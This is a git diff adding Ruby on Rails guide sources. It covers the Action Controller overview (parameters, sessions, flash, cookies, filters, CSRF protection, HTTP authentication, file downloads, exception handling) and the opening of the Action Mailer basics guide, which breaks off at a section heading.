+Only public methods are callable as actions. It is a best practice to lower the visibility of methods which are not intended to be actions, like auxiliary methods or filters.
+
+h3. Parameters
+
+You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the +params+ hash in your controller:
+
+<ruby>
+class ClientsController < ActionController::Base
+  # This action uses query string parameters because it gets run
+  # by an HTTP GET request, but this does not make any difference
+  # to the way in which the parameters are accessed. The URL for
+  # this action would look like this in order to list activated
+  # clients: /clients?status=activated
+  def index
+    if params[:status] == "activated"
+      @clients = Client.activated
+    else
+      @clients = Client.unactivated
+    end
+  end
+
+  # This action uses POST parameters. They are most likely coming
+  # from an HTML form which the user has submitted. The URL for
+  # this RESTful request will be "/clients", and the data will be
+  # sent as part of the request body.
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      redirect_to @client
+    else
+      # This line overrides the default rendering behavior, which
+      # would have been to render the "create" view.
+      render :action => "new"
+    end
+  end
+end
+</ruby>
+
+h4. Hash and Array Parameters
+
+The +params+ hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:
+
+<pre>
+GET /clients?ids[]=1&ids[]=2&ids[]=3
+</pre>
+
+NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5b=3" as "[" and "]" are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
+
+The value of +params[:ids]+ will now be +["1", "2", "3"]+. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
+
+To send a hash you include the key name inside the brackets:
+
+<html>
+<form action="/clients" method="post">
+  <input type="text" name="client[name]" value="Acme" />
+  <input type="text" name="client[phone]" value="12345" />
+  <input type="text" name="client[address][postcode]" value="12345" />
+  <input type="text" name="client[address][city]" value="Carrot City" />
+</form>
+</html>
+
+When this form is submitted, the value of +params[:client]+ will be <tt>{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}</tt>. Note the nested hash in +params[:client][:address]+.
+
+Note that the +params+ hash is actually an instance of +HashWithIndifferentAccess+ from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys.
+
+h4. Routing Parameters
+
+The +params+ hash will always contain the +:controller+ and +:action+ keys, but you should use the methods +controller_name+ and +action_name+ instead to access these values. Any other parameters defined by the routing, such as +:id+ will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the +:status+ parameter in a "pretty" URL:
+
+<ruby>
+map.connect "/clients/:status", 
+  :controller => "clients",
+  :action => "index",
+  :foo => "bar"
+</ruby>
+
+In this case, when a user opens the URL +/clients/active+, +params[:status]+ will be set to "active". When this route is used, +params[:foo]+ will also be set to "bar" just like it was passed in the query string. In the same way +params[:action]+ will contain "index".
+
+h4. +default_url_options+
+
+You can set global default parameters that will be used when generating URLs with +default_url_options+. To do this, define a method with that name in your controller:
+
+<ruby>
+class ApplicationController < ActionController::Base
+  # The options parameter is the hash passed in to 'url_for'
+  def default_url_options(options)
+    {:locale => I18n.locale}
+  end
+end
+</ruby>
+
+These options will be used as a starting-point when generating URLs, so it's possible they'll be overridden by +url_for+. Because this method is defined in the controller, you can define it on +ApplicationController+ so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.
+
+
+h3. Session
+
+Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
+
+* CookieStore - Stores everything on the client.
+* DRbStore - Stores the data on a DRb server.
+* MemCacheStore - Stores the data in a memcache.
+* ActiveRecordStore - Stores the data in a database using Active Record.
+
+All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).
+
+For most stores this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited).
+
+The CookieStore can store around 4kB of data -- much less than the others -- but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
+
+Read more about session storage in the "Security Guide":security.html.
+
+If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file:
+
+<ruby>
+# Use the database for sessions instead of the cookie-based default,
+# which shouldn't be used to store highly confidential information
+# (create the session table with "rake db:sessions:create")
+# ActionController::Base.session_store = :active_record_store
+</ruby>
+
+Rails sets up a session key (the name of the cookie) and (for the CookieStore) a secret key used when signing the session data. These can also be changed in +config/initializers/session_store.rb+:
+
+<ruby>
+# Your secret key for verifying cookie session data integrity.
+# If you change this key, all old sessions will become invalid!
+# Make sure the secret is at least 30 characters and all random, 
+# no regular words or you'll be exposed to dictionary attacks.
+ActionController::Base.session = {
+  :key         => '_yourappname_session',
+  :secret      => '4f50711b8f0f49572...'
+}
+</ruby>
+
+NOTE: Changing the secret when using the CookieStore will invalidate all existing sessions.
+
+h4. Accessing the Session
+
+In your controller you can access the session through the +session+ instance method.
+
+NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.
+
+Session values are stored using key/value pairs like a hash:
+
+<ruby>
+class ApplicationController < ActionController::Base
+
+private
+
+  # Finds the User with the ID stored in the session with the key
+  # :current_user_id This is a common way to handle user login in
+  # a Rails application; logging in sets the session value and
+  # logging out removes it.
+  def current_user
+    @_current_user ||= session[:current_user_id] &&
+      User.find(session[:current_user_id])
+  end
+end
+</ruby>
+
+To store something in the session, just assign it to the key like a hash:
+
+<ruby>
+class LoginsController < ApplicationController
+  # "Create" a login, aka "log the user in"
+  def create
+    if user = User.authenticate(params[:username], params[:password])
+      # Save the user ID in the session so it can be used in
+      # subsequent requests
+      session[:current_user_id] = user.id
+      redirect_to root_url
+    end
+  end
+end
+</ruby>
+
+To remove something from the session, assign that key to be +nil+:
+
+<ruby>
+class LoginsController < ApplicationController
+  # "Delete" a login, aka "log the user out"
+  def destroy
+    # Remove the user id from the session
+    session[:current_user_id] = nil
+    redirect_to root_url
+  end
+end
+</ruby>
+
+To reset the entire session, use +reset_session+.
+
+h4. The Flash
+
+The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
+
+<ruby>
+class LoginsController < ApplicationController
+  def destroy
+    session[:current_user_id] = nil
+    flash[:notice] = "You have successfully logged out"
+    redirect_to root_url
+  end
+end
+</ruby>
+
+The +destroy+ action redirects to the application's +root_url+, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:
+
+<ruby>
+<html>
+  <!-- <head/> -->
+  <body>
+    <% if flash[:notice] -%>
+      <p class="notice"><%= flash[:notice] %></p>
+    <% end -%>
+    <% if flash[:error] -%>
+      <p class="error"><%= flash[:error] %></p>
+    <% end -%>
+    <!-- more content -->
+  </body>
+</html>
+</ruby>
+
+This way, if an action sets an error or a notice message, the layout will display it automatically.
+
+If you want a flash value to be carried over to another request, use the +keep+ method:
+
+<ruby>
+class MainController < ApplicationController
+  # Let's say this action corresponds to root_url, but you want
+  # all requests here to be redirected to UsersController#index.
+  # If an action sets the flash and redirects here, the values
+  # would normally be lost when another redirect happens, but you
+  # can use 'keep' to make it persist for another request.
+  def index
+    # Will persist all flash values.
+    flash.keep
+
+    # You can also use a key to keep only some kind of value. 
+    # flash.keep(:notice)
+    redirect_to users_url
+  end
+end
+</ruby>
+
+h5. +flash.now+
+
+By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the +create+ action fails to save a resource and you render the +new+ template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use +flash.now+ in the same way you use the normal +flash+:
+
+<ruby>
+class ClientsController < ApplicationController
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      # ...
+    else
+      flash.now[:error] = "Could not save client"
+      render :action => "new"
+    end
+  end
+end
+</ruby>
+
+h3. Cookies
+
+Your application can store small amounts of data on the client -- called cookies -- that will be persisted across requests and even sessions. Rails provides easy access to cookies via the +cookies+ method, which -- much like the +session+ -- works like a hash:
+
+<ruby>
+class CommentsController < ApplicationController
+  def new
+    # Auto-fill the commenter's name if it has been stored in a cookie
+    @comment = Comment.new(:name => cookies[:commenter_name])
+  end
+
+  def create
+    @comment = Comment.new(params[:comment])
+    if @comment.save
+      flash[:notice] = "Thanks for your comment!"
+      if params[:remember_name]
+        # Remember the commenter's name.
+        cookies[:commenter_name] = @comment.name
+      else
+        # Delete cookie for the commenter's name cookie, if any.
+        cookies.delete(:commenter_name)
+      end
+      redirect_to @comment.article
+    else
+      render :action => "new"
+    end
+  end
+end
+</ruby>
+
+Note that while for session values you set the key to +nil+, to delete a cookie value you should use +cookies.delete(:key)+.
+
+h3. Filters
+
+Filters are methods that are run before, after or "around" a controller action. 
+
+Filters are inherited, so if you set a filter on +ApplicationController+, it will be run on every controller in your application. 
+
+Before filters may halt the request cycle. A common before filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
+
+<ruby>
+class ApplicationController < ActionController::Base
+  before_filter :require_login
+
+private
+  def require_login
+    unless logged_in?
+      flash[:error] = "You must be logged in to access this section"
+      redirect_to new_login_url # halts request cycle
+    end
+  end
+
+  # The logged_in? method simply returns true if the user is logged
+  # in and false otherwise. It does this by "booleanizing" the
+  # current_user method we created previously using a double ! operator.
+  # Note that this is not common in Ruby and is discouraged unless you
+  # really mean to convert something into true or false.
+  def logged_in?
+    !!current_user
+  end
+end
+</ruby>
+
+The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter they are also cancelled.
+
+In this example the filter is added to +ApplicationController+ and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with +skip_before_filter+:
+
+<ruby>
+class LoginsController < Application
+  skip_before_filter :require_login, :only => [:new, :create]
+end
+</ruby>
+
+Now, the +LoginsController+'s +new+ and +create+ actions will work as before without requiring the user to be logged in. The +:only+ option is used to only skip this filter for these actions, and there is also an +:except+ option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
+
+h4. After Filters and Around Filters
+
+In addition to before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running.
+
+Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it.
+
+<ruby>
+# Example taken from the Rails API filter documentation:
+# http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html
+class ApplicationController < Application
+  around_filter :catch_exceptions
+
+private
+  def catch_exceptions
+    yield
+  rescue => exception
+    logger.debug "Caught exception! #{exception}"
+    raise
+  end
+end
+</ruby>
+
+h4. Other Ways to Use Filters
+
+While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.
+
+The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the +require_login+ filter from above could be rewritten to use a block:
+
+<ruby>
+class ApplicationController < ActionController::Base
+  before_filter do |controller|
+    redirect_to new_login_url unless controller.send(:logged_in?)
+  end
+end
+</ruby>
+
+Note that the filter in this case uses +send+ because the +logged_in?+ method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
+
+The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
+
+<ruby>
+class ApplicationController < ActionController::Base
+  before_filter LoginFilter
+end
+
+class LoginFilter
+  def self.filter(controller)
+    unless controller.send(:logged_in?)
+      controller.flash[:error] = "You must be logged in"
+      controller.redirect_to controller.new_login_url
+    end
+  end
+end
+</ruby>
+
+Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method +filter+ which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same +filter+ method, which will get run in the same way. The method must +yield+ to execute the action. Alternatively, it can have both a +before+ and an +after+ method that are run before and after the action.
+
+The Rails API documentation has "more information on using filters":http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html.
+
+h3. Verification
+
+Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the +params+, +session+ or +flash+ hashes or that a certain HTTP method was used or that the request was made using +XMLHTTPRequest+ (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the "API documentation":http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html as "essentially a special kind of before_filter".
+
+Here's an example of using verification to make sure the user supplies a username and a password in order to log in:
+
+<ruby>
+class LoginsController < ApplicationController
+  verify :params => [:username, :password],
+         :render => {:action => "new"},
+         :add_flash => {
+           :error => "Username and password required to log in"
+         }
+
+  def create
+    @user = User.authenticate(params[:username], params[:password])
+    if @user
+      flash[:notice] = "You're logged in"
+      redirect_to root_url
+    else
+      render :action => "new"
+    end
+  end
+end
+</ruby>
+
+Now the +create+ action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the +new+ action will be rendered. But there's something rather important missing from the verification above: It will be used for *every* action in LoginsController, which is not what we want. You can limit which actions it will be used for with the +:only+ and +:except+ options just like a filter:
+
+<ruby>
+class LoginsController < ApplicationController
+  verify :params => [:username, :password],
+         :render => {:action => "new"},
+         :add_flash => {
+           :error => "Username and password required to log in"
+         },
+         :only => :create # Run only for the "create" action
+end
+</ruby>
+
+h3. Request Forgery Protection
+
+Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.
+
+The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.
+
+The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
+
+If you generate a form like this:
+
+<ruby>
+<% form_for @user do |f| -%>
+  <%= f.text_field :username %>
+  <%= f.text_field :password -%>
+<% end -%>
+</ruby>
+
+You will see how the token gets added as a hidden field:
+
+<html>
+<form action="/users/1" method="post">
+<input type="hidden" 
+       value="67250ab105eb5ad10851c00a5621854a23af5489"
+       name="authenticity_token"/>
+<!-- fields -->
+</form>
+</html>
+
+Rails adds this token to every form that's generated using the "form helpers":form_helpers.html, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method +form_authenticity_token+:
+
+The +form_authenticity_token+ generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.
+
+The "Security Guide":security.html has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
+
+h3. The Request and Response Objects
+
+In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The +request+ method contains an instance of +AbstractRequest+ and the +response+ method returns a response object representing what is going to be sent back to the client.
+
+h4. The +request+ Object
+
+The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html. Among the properties that you can access on this object are:
+
+|_.Property of +request+|_.Purpose|
+|host|The hostname used for this request.|
+|domain(n=2)|The hostname's first +n+ segments, starting from the right (the TLD).|
+|format|The content type requested by the client.|
+|method|The HTTP method used for the request.|
+|get?, post?, put?, delete?, head?|Returns true if the HTTP method is GET/POST/PUT/DELETE/HEAD.|
+|headers|Returns a hash containing the headers associated with the request.|
+|port|The port number (integer) used for the request.|
+|protocol|Returns a string containing the protocol used plus "://", for example "http://".|
+|query_string|The query string part of the URL, i.e., everything after "?".|
+|remote_ip|The IP address of the client.|
+|url|The entire URL used for the request.|
+
+h5. +path_parameters+, +query_parameters+, and +request_parameters+
+
+Rails collects all of the parameters sent along with the request in the +params+ hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The +query_parameters+ hash contains parameters that were sent as part of the query string while the +request_parameters+ hash contains parameters sent as part of the post body. The +path_parameters+ hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
+
+h4. The +response+ Object
+
+The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
+
+|_.Property of +response+|_.Purpose|
+|body|This is the string of data being sent back to the client. This is most often HTML.|
+|status|The HTTP status code for the response, like 200 for a successful request or 404 for file not found.|
+|location|The URL the client is being redirected to, if any.|
+|content_type|The content type of the response.|
+|charset|The character set being used for the response. Default is "utf-8".|
+|headers|Headers used for the response.|
+
+h5. Setting Custom Headers
+
+If you want to set custom headers for a response then +response.headers+ is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to +response.headers+ this way:
+
+<ruby>
+response.headers["Content-Type"] = "application/pdf"
+</ruby>
+
+h3. HTTP Authentications
+
+Rails comes with two built-in HTTP authentication mechanisms:
+
+* Basic Authentication
+* Digest Authentication
+
+h4. HTTP Basic Authentication
+
+HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, +authenticate_or_request_with_http_basic+.
+
+<ruby>
+class AdminController < ApplicationController
+  USERNAME, PASSWORD = "humbaba", "5baa61e4"
+
+  before_filter :authenticate
+
+private
+  def authenticate
+    authenticate_or_request_with_http_basic do |username, password|
+      username == USERNAME &&
+      Digest::SHA1.hexdigest(password) == PASSWORD
+    end
+  end
+end
+</ruby>
+
+With this in place, you can create namespaced controllers that inherit from +AdminController+. The before filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
+
+h4. HTTP Digest Authentication
+
+HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, +authenticate_or_request_with_http_digest+.
+
+<ruby>
+class AdminController < ApplicationController
+  USERS = { "lifo" => "world" }
+
+  before_filter :authenticate
+
+private
+  def authenticate
+    authenticate_or_request_with_http_digest do |username|
+      USERS[username]
+    end
+  end
+end
+</ruby>
+
+As seen in the example above, the +authenticate_or_request_with_http_digest+ block takes only one argument - the username. And the block returns the password. Returning +false+ or +nil+ from the +authenticate_or_request_with_http_digest+ will cause authentication failure.
+
+h3. Streaming and File Downloads
+
+Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the +send_data+ and the +send_file+ methods, which will both stream data to the client. +send_file+ is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.
+
+To stream data to the client, use +send_data+:
+
+<ruby>
+require "prawn"
+class ClientsController < ApplicationController
+  # Generates a PDF document with information on the client and
+  # returns it. The user will get the PDF as a file download.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_data(generate_pdf, 
+              :filename => "#{client.name}.pdf",
+              :type => "application/pdf")
+  end
+
+private
+
+  def generate_pdf(client)
+    Prawn::Document.new do
+      text client.name, :align => :center
+      text "Address: #{client.address}"
+      text "Email: #{client.email}"
+    end.render
+  end
+end
+</ruby>
+
+The +download_pdf+ action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the +:disposition+ option to "inline". The opposite and default value for this option is "attachment".
+
+h4. Sending Files
+
+If you want to send a file that already exists on disk, use the +send_file+ method.
+
+<ruby>
+class ClientsController < ApplicationController
+  # Stream a file that has already been generated and stored on disk.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_data("#{RAILS_ROOT}/files/clients/#{client.id}.pdf",
+              :filename => "#{client.name}.pdf",
+              :type => "application/pdf")
+  end
+end
+</ruby>
+
+This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option.
+
+WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
+
+TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the +:x_sendfile+ option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the +X-Sendfile+ header for this to work.
+
+h4. RESTful Downloads
+
+While +send_data+ works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the +show+ action, without any streaming:
+
+<ruby>
+class ClientsController < ApplicationController
+  # The user can request to receive this resource as HTML or PDF.
+  def show
+    @client = Client.find(params[:id])
+
+    respond_to do |format|
+      format.html
+      format.pdf { render :pdf => generate_pdf(@client) }
+    end
+  end
+end
+</ruby>
+
+In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file +config/initializers/mime_types.rb+:
+
+<ruby>
+Mime::Type.register "application/pdf", :pdf
+</ruby>
+
+NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
+
+Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
+
+<shell>
+GET /clients/1.pdf
+</shell>
+
+h3. Parameter Filtering
+
+Rails keeps a log file for each environment in the +log+ folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The +filter_parameter_logging+ method can be used to filter out sensitive information from the log. It works by replacing certain values in the +params+ hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password":
+
+<ruby>
+class ApplicationController < ActionController::Base
+  filter_parameter_logging :password
+end
+</ruby>
+
+The method works recursively through all levels of the +params+ hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in turn and replaces those for which the block returns true.
+
+h3. Rescue
+
+Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the +ActiveRecord::RecordNotFound+ exception.
+
+Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:
+
+h4. The Default 500 and 404 Templates
+
+By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the +public+ folder, in +404.html+ and +500.html+ respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
+
+h4. +rescue_from+
+
+If you want to do something a bit more elaborate when catching errors, you can use +rescue_from+, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.
+
+When an exception occurs which is caught by a +rescue_from+ directive, the exception object is passed to the handler. The handler can be a method or a +Proc+ object passed to the +:with+ option. You can also use a block directly instead of an explicit +Proc+ object.
+
+Here's how you can use +rescue_from+ to intercept all +ActiveRecord::RecordNotFound+ errors and do something with them.
+
+<ruby>
+class ApplicationController < ActionController::Base
+  rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found
+
+private
+  def record_not_found
+    render :text => "404 Not Found", :status => 404
+  end
+end
+</ruby>
+
+Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
+
+<ruby>
+class ApplicationController < ActionController::Base
+  rescue_from User::NotAuthorized, :with => :user_not_authorized
+
+private
+  def user_not_authorized
+    flash[:error] = "You don't have access to this section."
+    redirect_to :back
+  end
+end
+
+class ClientsController < ApplicationController
+  # Check that the user has the right authorization to access clients.
+  before_filter :check_authorization
+
+  # Note how the actions don't have to worry about all the auth stuff.
+  def edit
+    @client = Client.find(params[:id])
+  end
+
+private
+  # If the user is not authorized, just throw the exception.
+  def check_authorization
+    raise User::NotAuthorized unless current_user.admin?
+  end
+end
+</ruby>
+
+NOTE: Certain exceptions are only rescuable from the +ApplicationController+ class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's "article":http://m.onkey.org/2008/7/20/rescue-from-dispatching on the subject for more information.
+
+h3. Changelog
+
+"Lighthouse Ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17
+
+* February 17, 2009: Yet another proofread by Xavier Noria.
+
+* November 4, 2008: First release version by Tore Darell
diff --git a/vendor/rails/railties/guides/source/action_mailer_basics.textile b/vendor/rails/railties/guides/source/action_mailer_basics.textile
new file mode 100644
index 00000000..9476635a
--- /dev/null
+++ b/vendor/rails/railties/guides/source/action_mailer_basics.textile
@@ -0,0 +1,424 @@
+h2. Action Mailer Basics
+
+This guide should provide you with all you need to get started in sending and receiving emails from/to your application, and many internals of Action Mailer. It also covers how to test your mailers.
+
+endprologue.
+
+h3. Introduction
+
+Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating models that inherit from +ActionMailer::Base+ that live alongside other models in +app/models+. Those models have associated views that appear alongside controller views in +app/views+.
+
+h3. Sending Emails
+
+This section will provide a step-by-step guide to creating a mailer and its views.
+
+h4. Walkthrough to Generating a Mailer
+
+h5. Create the Mailer
+
+<shell>
+./script/generate mailer UserMailer
+exists  app/models/
+create  app/views/user_mailer
+exists  test/unit/
+create  test/fixtures/user_mailer
+create  app/models/user_mailer.rb
+create  test/unit/user_mailer_test.rb
+</shell>
+
+So we got the model, the fixtures, and the tests.
+
+h5. Edit the Model
+
++app/models/user_mailer.rb+ contains an empty mailer:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+end
+</ruby>
+
+Let's add a method called +welcome_email+, that will send an email to the user's registered email address:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+  def welcome_email(user)
+    recipients    user.email
+    from          "My Awesome Site Notifications <notifications@example.com>"
+    subject       "Welcome to My Awesome Site"
+    sent_on       Time.now
+    body          {:user => user, :url => "http://example.com/login"}
+  end
+end
+</ruby>
+
+Here is a quick explanation of the options presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of ActionMailer user-settable attributes section.
+
+|recipients| The recipients of the email. It can be a string or, if there are multiple recipients, an array of strings|
+|from| The from address of the email|
+|subject| The subject of the email|
+|sent_on| The timestamp for the email|
+
+The keys of the hash passed to +body+ become instance variables in the view. Thus, in our example the mailer view will have a +@user+ and a +@url+ instance variables available.
+
+h5. Create a Mailer View
+
+Create a file called +welcome_email.text.html.erb+ in +app/views/user_mailer/+. This will be the template used for the email, formatted in HTML:
+
+<erb>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+  <head>
+    <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+  </head>
+  <body>
+    <h1>Welcome to example.com, <%=h @user.first_name %></h1>
+    <p>
+      You have successfully signed up to example.com, and your username is: <%= @user.login %>.<br/>
+      To login to the site, just follow this link: <%=h @url %>.
+    </p>
+    <p>Thanks for joining and have a great day!</p>
+  </body>
+</html>
+</erb>
+
+Had we wanted to send text-only emails, the file would have been called +welcome_email.text.plain.erb+. Rails sets the content type of the email to be the one in the filename.
+
+h5. Wire It Up So That the System Sends the Email When a User Signs Up
+
+There are three ways to achieve this. One is to send the email from the controller that sends the email, another is to put it in a +before_create+ callback in the user model, and the last one is to use an observer on the user model. Whether you use the second or third methods is up to you, but staying away from the first is recommended. Not because it's wrong, but because it keeps your controller clean, and keeps all logic related to the user model within the user model. This way, whichever way a user is created (from a web form, or from an API call, for example), we are guaranteed that the email will be sent.
+
+Let's see how we would go about wiring it up using an observer:
+
+In +config/environment.rb+:
+
+<ruby>
+Rails::Initializer.run do |config|
+  # ...
+  config.active_record.observers = :user_observer
+end
+</ruby>
+
+You can place the observer in +app/models+ where it will be loaded automatically by Rails.
+
+Now create a file called +user_observer.rb+ in +app/models+ depending on where you stored it, and make it look like:
+
+<ruby>
+class UserObserver < ActiveRecord::Observer
+  def after_create(user)
+    UserMailer.deliver_welcome_email(user)
+  end
+end
+</ruby>
+
+Notice how we call +deliver_welcome_email+? In Action Mailer we send emails by calling +deliver_&lt;method_name&gt;+. In UserMailer, we defined a method called +welcome_email+, and so we deliver the email by calling +deliver_welcome_email+. The next section will go through how Action Mailer achieves this.
+
+h4. Action Mailer and Dynamic +deliver_&lt;method_name&gt;+ methods
+
